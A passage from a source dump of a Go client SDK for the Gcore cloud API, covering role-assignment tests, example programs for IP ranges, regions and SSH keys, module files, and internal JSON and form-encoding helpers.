!testutil.CheckTestServer(t, baseURL) { 50 | return 51 | } 52 | client := gcore.NewClient( 53 | option.WithBaseURL(baseURL), 54 | option.WithAPIKey("My API Key"), 55 | ) 56 | _, err := client.Cloud.Users.RoleAssignments.Update( 57 | context.TODO(), 58 | 123, 59 | cloud.UserRoleAssignmentUpdateParams{ 60 | Role: "ClientAdministrator", 61 | UserID: 777, 62 | ClientID: gcore.Int(8), 63 | ProjectID: gcore.Int(0), 64 | }, 65 | ) 66 | if err != nil { 67 | var apierr *gcore.Error 68 | if errors.As(err, &apierr) { 69 | t.Log(string(apierr.DumpRequest(true))) 70 | } 71 | t.Fatalf("err should be nil: %s", err.Error()) 72 | } 73 | } 74 | 75 | func TestUserRoleAssignmentListWithOptionalParams(t *testing.T) { 76 | baseURL := "http://localhost:4010" 77 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 78 | baseURL = envURL 79 | } 80 | if !testutil.CheckTestServer(t, baseURL) { 81 | return 82 | } 83 | client := gcore.NewClient( 84 | option.WithBaseURL(baseURL), 85 | option.WithAPIKey("My API Key"), 86 | ) 87 | _, err := client.Cloud.Users.RoleAssignments.List(context.TODO(), cloud.UserRoleAssignmentListParams{ 88 | Limit: gcore.Int(100), 89 | Offset: gcore.Int(0), 90 | ProjectID: gcore.Int(123), 91 | UserID: gcore.Int(123), 92 | }) 93 | if err != nil { 94 | var apierr *gcore.Error 95 | if errors.As(err, &apierr) { 96 | t.Log(string(apierr.DumpRequest(true))) 97 | } 98 | t.Fatalf("err should be nil: %s", err.Error()) 99 | } 100 | } 101 | 102 | func TestUserRoleAssignmentDelete(t *testing.T) { 103 | baseURL := "http://localhost:4010" 104 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 105 | baseURL = envURL 106 | } 107 | if !testutil.CheckTestServer(t, baseURL) { 108 | return 109 | } 110 | client := gcore.NewClient( 111 | option.WithBaseURL(baseURL), 112 | option.WithAPIKey("My API Key"), 113 | ) 114 | _, err := client.Cloud.Users.RoleAssignments.Delete(context.TODO(), 123) 115 | if err != nil { 116 | var apierr *gcore.Error 117 | if errors.As(err, &apierr) { 118 | t.Log(string(apierr.DumpRequest(true))) 119 | } 120 | t.Fatalf("err should be nil: %s", err.Error()) 121 | } 122 | } 123 | -------------------------------------------------------------------------------- /examples/.keep: -------------------------------------------------------------------------------- 1 | File generated from our OpenAPI spec by Stainless. 2 | 3 | This directory can be used to store example files demonstrating usage of this SDK. 4 | It is ignored by Stainless code generation and its content (other than this keep file) won't be touched. -------------------------------------------------------------------------------- /examples/cloud/ipranges/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "context" 5 | "fmt" 6 | "log" 7 | "os" 8 | 9 | "github.com/stridentmare/gcore-go" 10 | "github.com/stridentmare/gcore-go/option" 11 | ) 12 | 13 | func main() { 14 | // No need to pass the API key explicitly — it will automatically be read from the GCORE_API_KEY environment variable if omitted 15 | apiKey := os.Getenv("GCORE_API_KEY") 16 | // Will use Production API URL if omitted 17 | baseURL := os.Getenv("GCORE_API_URL") 18 | 19 | client := gcore.NewClient( 20 | option.WithAPIKey(apiKey), 21 | option.WithBaseURL(baseURL), 22 | ) 23 | 24 | listIPRanges(&client) 25 | } 26 | 27 | func listIPRanges(client *gcore.Client) { 28 | fmt.Println("\n=== LIST IP RANGES ===") 29 | 30 | ctx := context.Background() 31 | 32 | ipRanges, err := client.Cloud.IPRanges.List(ctx) 33 | if err != nil { 34 | log.Fatalf("Error listing IP ranges: %v", err) 35 | } 36 | 37 | for i, ipRange := range ipRanges.Ranges { 38 | fmt.Printf(" %d. IP Range: %s\n", i+1, ipRange) 39 | } 40 | 41 | fmt.Println("=======================") 42 | } 43 | -------------------------------------------------------------------------------- /examples/cloud/regions/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "context" 5 | "fmt" 6 | "log" 7 | "os" 8 | "strconv" 9 | 10 | "github.com/stridentmare/gcore-go" 11 | "github.com/stridentmare/gcore-go/cloud" 12 | "github.com/stridentmare/gcore-go/option" 13 | ) 14 | 15 | func main() { 16 | // No need to pass the API key explicitly — it will automatically be read from the GCORE_API_KEY environment variable if omitted 17 | apiKey := os.Getenv("GCORE_API_KEY") 18 | client := gcore.NewClient( 19 | option.WithAPIKey(apiKey), 20 | ) 21 | 22 | getRegionByID(&client) 23 | listAllRegions(&client) 24 | listRegionsWithFilters(&client) 25 | listRegionsWithAutopager(&client) 26 | } 27 | 28 | func getRegionByID(client *gcore.Client) { 29 | // Region ID can also be omitted — it defaults to the GCORE_CLOUD_REGION_ID environment variable 30 | regionID := int64(76) 31 | if id, err := strconv.ParseInt(os.Getenv("GCORE_CLOUD_REGION_ID"), 10, 64); err == nil { 32 | regionID = id 33 | } 34 | 35 | fmt.Println("\n=== GET REGION BY ID ===") 36 | 37 | region, err := client.Cloud.Regions.Get(context.Background(), cloud.RegionGetParams{ 38 | RegionID: gcore.Int(regionID), 39 | }) 40 | if err != nil { 41 | log.Fatalf("Error getting region: %v", err) 42 | } 43 | 44 | fmt.Printf("Region ID: %d, Display Name: %s\n", region.ID, region.DisplayName) 45 | fmt.Println("========================") 46 | } 47 | 48 | func listAllRegions(client *gcore.Client) { 49 | fmt.Println("\n=== LIST ALL REGIONS ===") 50 | 51 | regions, err := client.Cloud.Regions.List(context.Background(), cloud.RegionListParams{}) 52 | if err != nil { 53 | log.Fatalf("Error listing regions: %v", err) 54 | } 55 | 56 | for i, region := range regions.Results { 57 | fmt.Printf(" %d. Region ID: %d, Display Name: %s\n", i+1, region.ID, region.DisplayName) 58 | } 59 | 60 | fmt.Println("========================") 61 | } 62 | 63 | func listRegionsWithFilters(client *gcore.Client) { 64 | fmt.Println("\n=== LIST REGIONS WITH FILTERS ===") 65 | 66 | regions, err := client.Cloud.Regions.List(context.Background(), cloud.RegionListParams{ 67 | OrderBy: cloud.RegionListParamsOrderByCreatedAtAsc, 68 | Product: cloud.RegionListParamsProductContainers, 69 | ShowVolumeTypes: gcore.Bool(true), 70 | }) 71 | if err != nil { 72 | log.Fatalf("Error listing regions with filters: %v", err) 73 | } 74 | 75 | for i, region := range regions.Results { 76 | fmt.Printf(" %d. Region ID: %d, Display Name: %s\n", i+1, region.ID, region.DisplayName) 77 | } 78 | 79 | fmt.Println("=================================") 80 | } 81 | 82 | func listRegionsWithAutopager(client *gcore.Client) { 83 | fmt.Println("\n=== LIST REGIONS USING AUTOPAGER ===") 84 | 85 | count := 0 86 | 87 | iter := client.Cloud.Regions.ListAutoPaging(context.Background(), cloud.RegionListParams{ 88 | Limit: gcore.Int(10), // Process 10 items per page 89 | }) 90 | 91 | for iter.Next() { 92 | region := iter.Current() 93 | count++ 94 | fmt.Printf(" %d. Region ID: %d, Display Name: %s\n", 95 | count, region.ID, region.DisplayName) 96 | } 97 | 98 | if err := iter.Err(); err != nil { 99 | log.Fatalf("Error iterating regions: %v", err) 100 | } 101 | 102 | fmt.Println("====================================") 103 | } 104 | -------------------------------------------------------------------------------- /examples/cloud/sshkeys/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "context" 5 | "fmt" 6 | "log" 7 | "os" 8 | 9 | "github.com/stridentmare/gcore-go" 10 | "github.com/stridentmare/gcore-go/cloud" 11 | "github.com/stridentmare/gcore-go/option" 12 | ) 13 | 14 | func main() { 15 | // No need to pass the API key explicitly — it will automatically be read from the GCORE_API_KEY environment variable if omitted 16 | apiKey := os.Getenv("GCORE_API_KEY") 17 | // Will use Production API URL if omitted 18 | baseURL := os.Getenv("GCORE_API_URL") 19 | 20 | client := gcore.NewClient( 21 | option.WithAPIKey(apiKey), 22 | option.WithBaseURL(baseURL), 23 | ) 24 | 25 | // Create an SSH key and use its ID for other operations 26 | sshKeyID := createSSHKey(&client) 27 | 28 | listAllSSHKeys(&client) 29 | listSSHKeysWithFilters(&client) 30 | listSSHKeysWithAutopager(&client) 31 | getSSHKeyByID(&client, sshKeyID) 32 | updateSSHKey(&client, sshKeyID) 33 | deleteSSHKey(&client, sshKeyID) 34 | } 35 | 36 | func createSSHKey(client *gcore.Client) string { 37 | fmt.Println("\n=== CREATE SSH KEY ===") 38 | 39 | sshKey, err := client.Cloud.SSHKeys.New(context.Background(), cloud.SSHKeyNewParams{ 40 | Name: "New Test SSH Key", 41 | }) 42 | if err != nil { 43 | log.Fatalf("Error creating SSH key: %v", err) 44 | } 45 | 46 | fmt.Printf("Created SSH Key ID: %s, Name: %s\n", sshKey.ID, sshKey.Name) 47 | fmt.Println("=======================") 48 | 49 | return sshKey.ID 50 | } 51 | 52 | func getSSHKeyByID(client *gcore.Client, sshKeyID string) { 53 | fmt.Println("\n=== GET SSH KEY BY ID ===") 54 | 55 | sshKey, err := client.Cloud.SSHKeys.Get(context.Background(), sshKeyID, cloud.SSHKeyGetParams{}) 56 | if err != nil { 57 | log.Fatalf("Error getting SSH key: %v", err) 58 | } 59 | 60 | fmt.Printf("SSH Key ID: %s, Name: %s\n", sshKey.ID, sshKey.Name) 61 | fmt.Println("=========================") 62 | } 63 | 64 | func listAllSSHKeys(client *gcore.Client) { 65 | fmt.Println("\n=== LIST ALL SSH KEYS ===") 66 | 67 | sshKeys, err := client.Cloud.SSHKeys.List(context.Background(), cloud.SSHKeyListParams{}) 68 | if err != nil { 69 | log.Fatalf("Error listing SSH keys: %v", err) 70 | } 71 | 72 | for i, sshKey := range sshKeys.Results { 73 | fmt.Printf(" %d. SSH Key ID: %s, Name: %s\n", i+1, sshKey.ID, sshKey.Name) 74 | } 75 | 76 | fmt.Println("=========================") 77 | } 78 | 79 | func listSSHKeysWithFilters(client *gcore.Client) { 80 | fmt.Println("\n=== LIST SSH KEYS WITH FILTERS ===") 81 | 82 | sshKeys, err := client.Cloud.SSHKeys.List(context.Background(), cloud.SSHKeyListParams{ 83 | OrderBy: cloud.SSHKeyListParamsOrderByCreatedAtAsc, 84 | }) 85 | if err != nil { 86 | log.Fatalf("Error listing SSH keys with filters: %v", err) 87 | } 88 | 89 | for i, sshKey := range sshKeys.Results { 90 | fmt.Printf(" %d. SSH Key ID: %s, Name: %16s, CreatedAt: %s\n", i+1, sshKey.ID, sshKey.Name, 91 | sshKey.CreatedAt) 92 | } 93 | 94 | fmt.Println("==================================") 95 | } 96 | 97 | func listSSHKeysWithAutopager(client *gcore.Client) { 98 | fmt.Println("\n=== LIST SSH KEYS USING AUTOPAGER ===") 99 | 100 | count := 0 101 | 102 | iter := client.Cloud.SSHKeys.ListAutoPaging(context.Background(), cloud.SSHKeyListParams{ 103 | Limit: gcore.Int(10), // Process 10 items per page 104 | }) 105 | 106 | for iter.Next() { 107 | sshKey := iter.Current() 108 | count++ 109 | fmt.Printf(" %d. SSH Key ID: %s, Name: %s\n", count, sshKey.ID, sshKey.Name) 110 | } 111 | 112 | if err := iter.Err(); err != nil { 113 | log.Fatalf("Error iterating SSH keys: %v", err) 114 | } 115 | 116 | fmt.Println("=====================================") 117 | } 118 | 119 | func updateSSHKey(client *gcore.Client, sshKeyID string) { 120 | fmt.Println("\n=== UPDATE SSH KEY ===") 121 | 122 | sshKey, err := client.Cloud.SSHKeys.Update(context.Background(), sshKeyID, cloud.SSHKeyUpdateParams{ 123 | SharedInProject: true, 124 | }) 125 | if err != nil { 126 | log.Fatalf("Error updating SSH key: %v", err) 127 | } 128 | 129 | fmt.Printf("Updated SSH Key ID: %s, Name: %s, SharedInProject: %t\n", sshKey.ID, sshKey.Name, 130 | sshKey.SharedInProject) 131 | fmt.Println("=======================") 132 | } 133 | 134 | func deleteSSHKey(client *gcore.Client, sshKeyID string) { 135 | fmt.Println("\n=== DELETE SSH KEY ===") 136 | 137 | err := client.Cloud.SSHKeys.Delete(context.Background(), sshKeyID, cloud.SSHKeyDeleteParams{}) 138 | if err != nil { 139 | log.Fatalf("Error deleting SSH key: %v", err) 140 | } 141 | 142 | fmt.Printf("SSH Key with ID %s successfully deleted\n", sshKeyID) 143 | fmt.Println("=======================") 144 | } 145 | -------------------------------------------------------------------------------- /field.go: -------------------------------------------------------------------------------- 1 | package gcore 2 | 3 | import ( 4 | "github.com/stridentmare/gcore-go/packages/param" 5 | "io" 6 | "time" 7 | ) 8 | 9 | func String(s string) param.Opt[string] { return param.NewOpt(s) } 10 | func Int(i int64) param.Opt[int64] { return param.NewOpt(i) } 11 | func Bool(b bool) param.Opt[bool] { return param.NewOpt(b) } 12 | func Float(f float64) param.Opt[float64] { return param.NewOpt(f) } 13 | func Time(t time.Time) param.Opt[time.Time] { return param.NewOpt(t) } 14 | 15 | func Opt[T comparable](v T) param.Opt[T] { return param.NewOpt(v) } 16 | func Ptr[T any](v T) *T { return &v } 17 | 18 | func IntPtr(v int64) *int64 { return &v } 19 | func BoolPtr(v bool) *bool { return &v } 20 | func FloatPtr(v float64) *float64 { return &v } 21 | func StringPtr(v string) *string { return &v } 22 | func TimePtr(v time.Time) *time.Time { return &v } 23 | 24 | func File(rdr io.Reader, filename string, contentType string) file { 25 | return file{rdr, filename, contentType} 26 | } 27 | 28 | type file struct { 29 | io.Reader 30 | name string 31 | contentType string 32 | } 33 | 34 | func (f file) Filename() string { 35 | if f.name != "" { 36 | return f.name 37 | } else if named, ok := f.Reader.(interface{ Name() string }); ok { 38 | return named.Name() 39 | } 40 | return "" 41 | } 42 | 43 | func (f file) ContentType() string { 44 | return f.contentType 45 | } 46 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/stridentmare/gcore-go 2 | 3 | go 1.21 4 | 5 | require ( 6 | github.com/tidwall/gjson v1.14.4 7 | github.com/tidwall/sjson v1.2.5 8 | ) 9 | 10 | require ( 11 | github.com/tidwall/match v1.1.1 // indirect 12 | github.com/tidwall/pretty v1.2.1 // indirect 13 | ) 14 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/tidwall/gjson v1.14.2/go.mod h1:/wbyibRr2FHMks5tjHJ5F8dMZh3AcwJEMf5vlfC0lxk= 2 | github.com/tidwall/gjson v1.14.4 h1:uo0p8EbA09J7RQaflQ1aBRffTR7xedD2bcIVSYxLnkM= 3 | github.com/tidwall/gjson v1.14.4/go.mod h1:/wbyibRr2FHMks5tjHJ5F8dMZh3AcwJEMf5vlfC0lxk= 4 | github.com/tidwall/match v1.1.1 h1:+Ho715JplO36QYgwN9PGYNhgZvoUSc9X2c80KVTi+GA= 5 | github.com/tidwall/match v1.1.1/go.mod h1:eRSPERbgtNPcGhD8UCthc6PmLEQXEWd3PRB5JTxsfmM= 6 | github.com/tidwall/pretty v1.2.0/go.mod h1:ITEVvHYasfjBbM0u2Pg8T2nJnzm8xPwvNhhsoaGGjNU= 7 | github.com/tidwall/pretty v1.2.1 h1:qjsOFOWWQl+N3RsoF5/ssm1pHmJJwhjlSbZ51I6wMl4= 8 | github.com/tidwall/pretty v1.2.1/go.mod h1:ITEVvHYasfjBbM0u2Pg8T2nJnzm8xPwvNhhsoaGGjNU= 9 | github.com/tidwall/sjson v1.2.5 h1:kLy8mja+1c9jlljvWTlSazM7cKDRfJuR/bOJhcY5NcY= 10 | github.com/tidwall/sjson v1.2.5/go.mod h1:Fvgq9kS/6ociJEDnK0Fk1cpYF4FIW6ZF7LAe+6jwd28= 11 | -------------------------------------------------------------------------------- /internal/apierror/apierror.go: -------------------------------------------------------------------------------- 1 | // File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details. 2 | 3 | package apierror 4 | 5 | import ( 6 | "fmt" 7 | "net/http" 8 | "net/http/httputil" 9 | 10 | "github.com/stridentmare/gcore-go/internal/apijson" 11 | "github.com/stridentmare/gcore-go/packages/respjson" 12 | ) 13 | 14 | // Error represents an error that originates from the API, i.e. when a request is 15 | // made and the API returns a response with a HTTP status code. Other errors are 16 | // not wrapped by this SDK. 17 | type Error struct { 18 | // JSON contains metadata for fields, check presence with [respjson.Field.Valid]. 19 | JSON struct { 20 | ExtraFields map[string]respjson.Field 21 | raw string 22 | } `json:"-"` 23 | StatusCode int 24 | Request *http.Request 25 | Response *http.Response 26 | } 27 | 28 | // Returns the unmodified JSON received from the API 29 | func (r Error) RawJSON() string { return r.JSON.raw } 30 | func (r *Error) UnmarshalJSON(data []byte) error { 31 | return apijson.UnmarshalRoot(data, r) 32 | } 33 | 34 | func (r *Error) Error() string { 35 | // Attempt to re-populate the response body 36 | return fmt.Sprintf("%s %q: %d %s %s", r.Request.Method, r.Request.URL, r.Response.StatusCode, http.StatusText(r.Response.StatusCode), r.JSON.raw) 37 | } 38 | 39 | func (r *Error) DumpRequest(body bool) []byte { 40 | if r.Request.GetBody != nil { 41 | r.Request.Body, _ = r.Request.GetBody() 42 | } 43 | out, _ := httputil.DumpRequestOut(r.Request, body) 44 | return out 45 | } 46 | 47 | func (r *Error) DumpResponse(body bool) []byte { 48 | out, _ := httputil.DumpResponse(r.Response, body) 49 | return out 50 | } 51 | -------------------------------------------------------------------------------- /internal/apiform/form.go: -------------------------------------------------------------------------------- 1 | package apiform 2 | 3 | type Marshaler interface { 4 | MarshalMultipart() ([]byte, string, error) 5 | } 6 | -------------------------------------------------------------------------------- /internal/apiform/richparam.go: -------------------------------------------------------------------------------- 1 | package apiform 2 | 3 | import ( 4 | "github.com/stridentmare/gcore-go/packages/param" 5 | "mime/multipart" 6 | "reflect" 7 | ) 8 | 9 | func (e *encoder) newRichFieldTypeEncoder(t reflect.Type) encoderFunc { 10 | f, _ := t.FieldByName("Value") 11 | enc := e.newPrimitiveTypeEncoder(f.Type) 12 | return func(key string, value reflect.Value, writer *multipart.Writer) error { 13 | if opt, ok := value.Interface().(param.Optional); ok && opt.Valid() { 14 | return enc(key, value.FieldByIndex(f.Index), writer) 15 | } else if ok && param.IsNull(opt) { 16 | return writer.WriteField(key, "null") 17 | } 18 | return nil 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /internal/apiform/tag.go: -------------------------------------------------------------------------------- 1 | package apiform 2 | 3 | import ( 4 | "reflect" 5 | "strings" 6 | ) 7 | 8 | const jsonStructTag = "json" 9 | const formStructTag = "form" 10 | const formatStructTag = "format" 11 | 12 | type parsedStructTag struct { 13 | name string 14 | required bool 15 | extras bool 16 | metadata bool 17 | omitzero bool 18 | } 19 | 20 | func parseFormStructTag(field reflect.StructField) (tag parsedStructTag, ok bool) { 21 | raw, ok := field.Tag.Lookup(formStructTag) 22 | if !ok { 23 | raw, ok = field.Tag.Lookup(jsonStructTag) 24 | } 25 | if !ok { 26 | return 27 | } 28 | parts := strings.Split(raw, ",") 29 | if len(parts) == 0 { 30 | return tag, false 31 | } 32 | tag.name = parts[0] 33 | for _, part := range parts[1:] { 34 | switch part { 35 | case "required": 36 | tag.required = true 37 | case "extras": 38 | tag.extras = true 39 | case "metadata": 40 | tag.metadata = true 41 | case "omitzero": 42 | tag.omitzero = true 43 | } 44 | } 45 | return 46 | } 47 | 48 | func parseFormatStructTag(field reflect.StructField) (format string, ok bool) { 49 | format, ok = field.Tag.Lookup(formatStructTag) 50 | return 51 | } 52 | -------------------------------------------------------------------------------- /internal/apijson/enum.go: -------------------------------------------------------------------------------- 1 | package apijson 2 | 3 | import ( 4 | "fmt" 5 | "reflect" 6 | "slices" 7 | "sync" 8 | 9 | "github.com/tidwall/gjson" 10 | ) 11 | 12 | /********************/ 13 | /* Validating Enums */ 14 | /********************/ 15 | 16 | type validationEntry struct { 17 | field reflect.StructField 18 | required bool 19 | legalValues struct { 20 | strings []string 21 | // 1 represents true, 0 represents false, -1 represents either 22 | bools int 23 | ints []int64 24 | } 25 | } 26 | 27 | type validatorFunc func(reflect.Value) exactness 28 | 29 | var validators sync.Map 30 | var validationRegistry = map[reflect.Type][]validationEntry{} 31 | 32 | func RegisterFieldValidator[T any, V string | bool | int](fieldName string, values ...V) { 33 | var t T 34 | parentType := reflect.TypeOf(t) 35 | 36 | if _, ok := validationRegistry[parentType]; !ok { 37 | validationRegistry[parentType] = []validationEntry{} 38 | } 39 | 40 | // The following checks run at initialization time, 41 | // it is impossible for them to panic if any tests pass. 42 | if parentType.Kind() != reflect.Struct { 43 | panic(fmt.Sprintf("apijson: cannot initialize validator for non-struct %s", parentType.String())) 44 | } 45 | 46 | var field reflect.StructField 47 | found := false 48 | for i := 0; i < parentType.NumField(); i++ { 49 | ptag, ok := parseJSONStructTag(parentType.Field(i)) 50 | if ok && ptag.name == fieldName { 51 | field = parentType.Field(i) 52 | found = true 53 | break 54 | } 55 | } 56 | 57 | if !found { 58 | panic(fmt.Sprintf("apijson: cannot find field %s in struct %s", fieldName, parentType.String())) 59 | } 60 | 61 | newEntry := validationEntry{field: field} 62 | newEntry.legalValues.bools = -1 // default to either 63 | 64 | switch values := any(values).(type) { 65 | case []string: 66 | newEntry.legalValues.strings = values 67 | case []int: 68 | newEntry.legalValues.ints = make([]int64, len(values)) 69 | for i, value := range values { 70 | newEntry.legalValues.ints[i] = int64(value) 71 | } 72 | case []bool: 73 | for i, value := range values { 74 | var next int 75 | if value { 76 | next = 1 77 | } 78 | if i > 0 && newEntry.legalValues.bools != next { 79 | newEntry.legalValues.bools = -1 // accept either 80 | break 81 | } 82 | newEntry.legalValues.bools = next 83 | } 84 | } 85 | 86 | // Store the information necessary to create a validator, so that we can use it 87 | // lazily create the validator function when did. 88 | validationRegistry[parentType] = append(validationRegistry[parentType], newEntry) 89 | } 90 | 91 | func (state *decoderState) validateString(v reflect.Value) { 92 | if state.validator == nil { 93 | return 94 | } 95 | if !slices.Contains(state.validator.legalValues.strings, v.String()) { 96 | state.exactness = loose 97 | } 98 | } 99 | 100 | func (state *decoderState) validateInt(v reflect.Value) { 101 | if state.validator == nil { 102 | return 103 | } 104 | if !slices.Contains(state.validator.legalValues.ints, v.Int()) { 105 | state.exactness = loose 106 | } 107 | } 108 | 109 | func (state *decoderState) validateBool(v reflect.Value) { 110 | if state.validator == nil { 111 | return 112 | } 113 | b := v.Bool() 114 | if state.validator.legalValues.bools == 1 && b == false { 115 | state.exactness = loose 116 | } else if state.validator.legalValues.bools == 0 && b == true { 117 | state.exactness = loose 118 | } 119 | } 120 | 121 | func (state *decoderState) validateOptKind(node gjson.Result, t reflect.Type) { 122 | switch node.Type { 123 | case gjson.JSON: 124 | state.exactness = loose 125 | case gjson.Null: 126 | return 127 | case gjson.False, gjson.True: 128 | if t.Kind() != reflect.Bool { 129 | state.exactness = loose 130 | } 131 | case gjson.Number: 132 | switch t.Kind() { 133 | case reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64, 134 | reflect.Uint, reflect.Uint8, reflect.Uint16, reflect.Uint32, reflect.Uint64, 135 | reflect.Float32, reflect.Float64: 136 | return 137 | default: 138 | state.exactness = loose 139 | } 140 | case gjson.String: 141 | if t.Kind() != reflect.String { 142 | state.exactness = loose 143 | } 144 | } 145 | } 146 | -------------------------------------------------------------------------------- /internal/apijson/enum_test.go: -------------------------------------------------------------------------------- 1 | package apijson 2 | 3 | import ( 4 | "reflect" 5 | "testing" 6 | ) 7 | 8 | type EnumStruct struct { 9 | NormalString string `json:"normal_string"` 10 | StringEnum string `json:"string_enum"` 11 | NamedEnum NamedEnumType `json:"named_enum"` 12 | 13 | IntEnum int `json:"int_enum"` 14 | BoolEnum bool `json:"bool_enum"` 15 | 16 | WeirdBoolEnum bool `json:"weird_bool_enum"` 17 | } 18 | 19 | func (o *EnumStruct) UnmarshalJSON(data []byte) error { 20 | return UnmarshalRoot(data, o) 21 | } 22 | 23 | func init() { 24 | RegisterFieldValidator[EnumStruct]("string_enum", "one", "two", "three") 25 | RegisterFieldValidator[EnumStruct]("int_enum", 200, 404) 26 | RegisterFieldValidator[EnumStruct]("bool_enum", false) 27 | RegisterFieldValidator[EnumStruct]("weird_bool_enum", true, false) 28 | } 29 | 30 | type NamedEnumType string 31 | 32 | const ( 33 | NamedEnumOne NamedEnumType = "one" 34 | NamedEnumTwo NamedEnumType = "two" 35 | NamedEnumThree NamedEnumType = "three" 36 | ) 37 | 38 | func (e NamedEnumType) IsKnown() bool { 39 | return e == NamedEnumOne || e == NamedEnumTwo || e == NamedEnumThree 40 | } 41 | 42 | func TestEnumStructStringValidator(t *testing.T) { 43 | cases := map[string]struct { 44 | exactness 45 | EnumStruct 46 | }{ 47 | `{"string_enum":"one"}`: {exact, EnumStruct{StringEnum: "one"}}, 48 | `{"string_enum":"two"}`: {exact, EnumStruct{StringEnum: "two"}}, 49 | `{"string_enum":"three"}`: {exact, EnumStruct{StringEnum: "three"}}, 50 | `{"string_enum":"none"}`: {loose, EnumStruct{StringEnum: "none"}}, 51 | `{"int_enum":200}`: {exact, EnumStruct{IntEnum: 200}}, 52 | `{"int_enum":404}`: {exact, EnumStruct{IntEnum: 404}}, 53 | `{"int_enum":500}`: {loose, EnumStruct{IntEnum: 500}}, 54 | `{"bool_enum":false}`: {exact, EnumStruct{BoolEnum: false}}, 55 | `{"bool_enum":true}`: {loose, EnumStruct{BoolEnum: true}}, 56 | `{"weird_bool_enum":true}`: {exact, EnumStruct{WeirdBoolEnum: true}}, 57 | `{"weird_bool_enum":false}`: {exact, EnumStruct{WeirdBoolEnum: false}}, 58 | 59 | `{"named_enum":"one"}`: {exact, EnumStruct{NamedEnum: NamedEnumOne}}, 60 | `{"named_enum":"none"}`: {loose, EnumStruct{NamedEnum: "none"}}, 61 | 62 | `{"string_enum":"one","named_enum":"one"}`: {exact, EnumStruct{NamedEnum: "one", StringEnum: "one"}}, 63 | `{"string_enum":"four","named_enum":"one"}`: { 64 | loose, 65 | EnumStruct{NamedEnum: "one", StringEnum: "four"}, 66 | }, 67 | `{"string_enum":"one","named_enum":"four"}`: { 68 | loose, EnumStruct{NamedEnum: "four", StringEnum: "one"}, 69 | }, 70 | `{"wrong_key":"one"}`: {extras, EnumStruct{StringEnum: ""}}, 71 | } 72 | 73 | for raw, expected := range cases { 74 | var dst EnumStruct 75 | 76 | dec := decoderBuilder{root: true} 77 | exactness, _ := dec.unmarshalWithExactness([]byte(raw), &dst) 78 | 79 | if !reflect.DeepEqual(dst, expected.EnumStruct) { 80 | t.Fatalf("failed equality check %#v", dst) 81 | } 82 | 83 | if exactness != expected.exactness { 84 | t.Fatalf("exactness got %d expected %d %s", exactness, expected.exactness, raw) 85 | } 86 | } 87 | } 88 | -------------------------------------------------------------------------------- /internal/apijson/field.go: -------------------------------------------------------------------------------- 1 | package apijson 2 | 3 | type status uint8 4 | 5 | const ( 6 | missing status = iota 7 | null 8 | invalid 9 | valid 10 | ) 11 | 12 | type Field struct { 13 | raw string 14 | status status 15 | } 16 | 17 | // Returns true if the field is explicitly `null` _or_ if it is not present at all (ie, missing). 18 | // To check if the field's key is present in the JSON with an explicit null value, 19 | // you must check `f.IsNull() && !f.IsMissing()`. 20 | func (j Field) IsNull() bool { return j.status <= null } 21 | func (j Field) IsMissing() bool { return j.status == missing } 22 | func (j Field) IsInvalid() bool { return j.status == invalid } 23 | func (j Field) Raw() string { return j.raw } 24 | -------------------------------------------------------------------------------- /internal/apijson/port.go: -------------------------------------------------------------------------------- 1 | package apijson 2 | 3 | import ( 4 | "fmt" 5 | "reflect" 6 | ) 7 | 8 | // Port copies over values from one struct to another struct. 9 | func Port(from any, to any) error { 10 | toVal := reflect.ValueOf(to) 11 | fromVal := reflect.ValueOf(from) 12 | 13 | if toVal.Kind() != reflect.Ptr || toVal.IsNil() { 14 | return fmt.Errorf("destination must be a non-nil pointer") 15 | } 16 | 17 | for toVal.Kind() == reflect.Ptr { 18 | toVal = toVal.Elem() 19 | } 20 | toType := toVal.Type() 21 | 22 | for fromVal.Kind() == reflect.Ptr { 23 | fromVal = fromVal.Elem() 24 | } 25 | fromType := fromVal.Type() 26 | 27 | if toType.Kind() != reflect.Struct { 28 | return fmt.Errorf("destination must be a non-nil pointer to a struct (%v %v)", toType, toType.Kind()) 29 | } 30 | 31 | values := map[string]reflect.Value{} 32 | fields := map[string]reflect.Value{} 33 | 34 | fromJSON := fromVal.FieldByName("JSON") 35 | toJSON := toVal.FieldByName("JSON") 36 | 37 | // Iterate through the fields of v and load all the "normal" fields in the struct to the map of 38 | // string to reflect.Value, as well as their raw .JSON.Foo counterpart indicated by j. 39 | var getFields func(t reflect.Type, v reflect.Value) 40 | getFields = func(t reflect.Type, v reflect.Value) { 41 | j := v.FieldByName("JSON") 42 | 43 | // Recurse into anonymous fields first, since the fields on the object should win over the fields in the 44 | // embedded object. 45 | for i := 0; i < t.NumField(); i++ { 46 | field := t.Field(i) 47 | if field.Anonymous { 48 | getFields(field.Type, v.Field(i)) 49 | continue 50 | } 51 | } 52 | 53 | for i := 0; i < t.NumField(); i++ { 54 | field := t.Field(i) 55 | ptag, ok := parseJSONStructTag(field) 56 | if !ok || ptag.name == "-" || ptag.name == "" { 57 | continue 58 | } 59 | values[ptag.name] = v.Field(i) 60 | if j.IsValid() { 61 | fields[ptag.name] = j.FieldByName(field.Name) 62 | } 63 | } 64 | } 65 | getFields(fromType, fromVal) 66 | 67 | // Use the values from the previous step to populate the 'to' struct. 68 | for i := 0; i < toType.NumField(); i++ { 69 | field := toType.Field(i) 70 | ptag, ok := parseJSONStructTag(field) 71 | if !ok { 72 | continue 73 | } 74 | if ptag.name == "-" { 75 | continue 76 | } 77 | if value, ok := values[ptag.name]; ok { 78 | delete(values, ptag.name) 79 | if field.Type.Kind() == reflect.Interface { 80 | toVal.Field(i).Set(value) 81 | } else { 82 | switch value.Kind() { 83 | case reflect.String: 84 | toVal.Field(i).SetString(value.String()) 85 | case reflect.Bool: 86 | toVal.Field(i).SetBool(value.Bool()) 87 | case reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64: 88 | toVal.Field(i).SetInt(value.Int()) 89 | case reflect.Uint, 